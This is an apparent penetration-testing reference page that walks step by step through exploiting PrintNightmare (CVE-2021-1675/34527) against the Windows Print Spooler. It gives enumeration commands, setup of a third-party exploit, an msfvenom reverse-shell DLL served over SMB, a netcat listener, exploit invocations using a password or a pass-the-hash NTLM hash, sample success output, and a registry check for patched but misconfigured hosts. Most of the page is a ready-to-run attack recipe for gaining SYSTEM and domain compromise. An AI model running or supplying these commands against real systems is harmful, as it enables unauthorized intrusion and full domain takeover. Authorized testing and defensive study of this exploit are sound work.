# PrintNightmare – Print Spooler RCE to SYSTEM

> Exploits CVE-2021-1675/34527 via Windows Print Spooler to achieve RCE and SYSTEM-level privilege escalation through malicious DLL injection over SMB.

- **URL:** https://hackindex.io/services/smb/exploitation/vulnerabilities/printnightmare-print-spooler-rce-to-system
- **Path:** SMB > Exploitation > Vulnerabilities
- **Up:** [Vulnerabilities](https://hackindex.io/services/smb/exploitation/vulnerabilities.md)
- **Published:** 2026-03-11
- **Updated:** 2026-08-11

PrintNightmare abuses the `RpcAddPrinterDriverEx` function in the Windows Print Spooler service to load an arbitrary DLL as SYSTEM. Any authenticated domain user can trigger it: no local admin required. Because the Print Spooler runs on Domain Controllers by default, a single low-privilege domain account can lead directly to full domain compromise.

Two CVEs cover the attack surface: CVE-2021-1675 (original LPE/RCE) and CVE-2021-34527 (remote RCE, more critical). The exploit technique is the same for both.

Patched systems may still be vulnerable if the `PointAndPrint` registry keys are present with permissive values: check for those before assuming the target is safe.

## Prerequisites

- Valid domain credentials (any user)
- Print Spooler running on the target
- Network access to port 445 on the target

Confirm the spooler is exposed:

```bash
impacket-rpcdump @$TARGET_IP | grep -E 'MS-RPRN|MS-PAR'
```

If `MS-RPRN` or `MS-PAR` appears in the output, the spooler is accessible and the target is potentially vulnerable.

## Setting Up the Exploit

The cube0x0 exploit requires his fork of Impacket. Install it in a separate virtual environment to avoid breaking your system Impacket:

```bash
python3 -m venv printnightmare
source printnightmare/bin/activate
pip uninstall -y impacket
pip install git+https://github.com/cube0x0/impacket
git clone https://github.com/cube0x0/CVE-2021-1675
cd CVE-2021-1675
```

## Building the Malicious DLL

The exploit loads a DLL from a UNC path you host. The DLL executes as SYSTEM on the target. Build a reverse shell DLL with msfvenom:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o /tmp/shell.dll
```

Host it on an SMB share that the target can reach:

```bash
impacket-smbserver share /tmp -smb2support
```

## Running the PrintNightmare CVE-2021-1675 Exploit

Start a listener:

```bash
nc -lvnp $LPORT
```

Run the exploit pointing at your hosted DLL:

```bash
python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LHOST\share\shell.dll'
```

With a hash instead of password:

```bash
python3 CVE-2021-1675.py $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH '\\$LHOST\share\shell.dll'
# [*] Connecting to ncacn_np:10.10.10.10[\PIPE\spoolss]
# [+] Bind OK
# [+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_...\Amd64\UNIDRV.DLL
# [*] Executing \\10.10.10.1\share\shell.dll
# [*] Try 1...
# [*] Stage0: 0
# [*] Stage2: 0
# [+] Exploit Completed
```

Your nc listener receives a SYSTEM shell on completion.

## Patched But Still Vulnerable - PointAndPrint Check

If the target is patched but PointAndPrint is misconfigured, the exploit still works. Check the registry from a compromised host:

```bash
reg query "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
```

If both of these values are present, the target is still exploitable despite the patch:

```
NoWarningNoElevationOnInstall = 0x1
RestrictDriverInstallationToAdministrators = 0x0
```

## Loading a Local DLL Instead of UNC

If outbound SMB from the target is blocked, place the DLL in a path the target can already access: a share you know it mounts, or a path discovered via an earlier file write. Change the exploit argument to a local Windows path:

```bash
python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'C:\Windows\Temp\shell.dll'
```

This requires a separate file write step first. Use an authenticated SMB write or another upload method to place the DLL.

## References

- [CVE-2021-1675 ](https://github.com/cube0x0/CVE-2021-1675) - cube0x0 Impacket-based Python exploit for remote PrintNightmare exploitation.